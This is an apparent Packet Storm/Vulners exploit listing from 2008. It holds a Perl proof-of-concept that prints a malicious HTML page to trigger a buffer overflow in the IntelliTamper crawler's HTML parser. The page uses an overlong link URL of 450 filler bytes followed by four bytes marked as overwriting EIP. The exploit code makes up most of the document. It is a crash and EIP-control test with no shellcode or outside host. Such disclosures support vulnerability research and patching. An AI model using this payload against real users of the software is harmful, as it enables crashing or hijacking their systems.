intellitamper-poc.txt

🗓️ 21 Jul 2008 00:00:00Reported by k'sOSeType

packetstorm🔗 packetstormsecurity.com👁 15 Views

A Perl script for exploiting BOFs in IntelliTamper html parse

`#!/usr/bin/perl  
#  
# k`sOSe - 07/21/2008  
#  
# This is NOT http://secunia.com/advisories/20172/.  
# There are some BOFs in the html parser, just put a properly  
# formatted html file in your website and launch IntelliTamper against it.  
  
use warnings;  
use strict;  
  
my $evil_html = '<html><head><title>ph33r</title></head><body>' .  
'<a href="http://google.it/' .  
"\x41" x 450 .  
"\x42" x 4 . # EIP  
'.htm">ph33r</a>' .  
"</body></html>";  
  
print $evil_html;  
`

21 Jul 2008 00:00Current

7.4High risk

Vulners AI Score7.4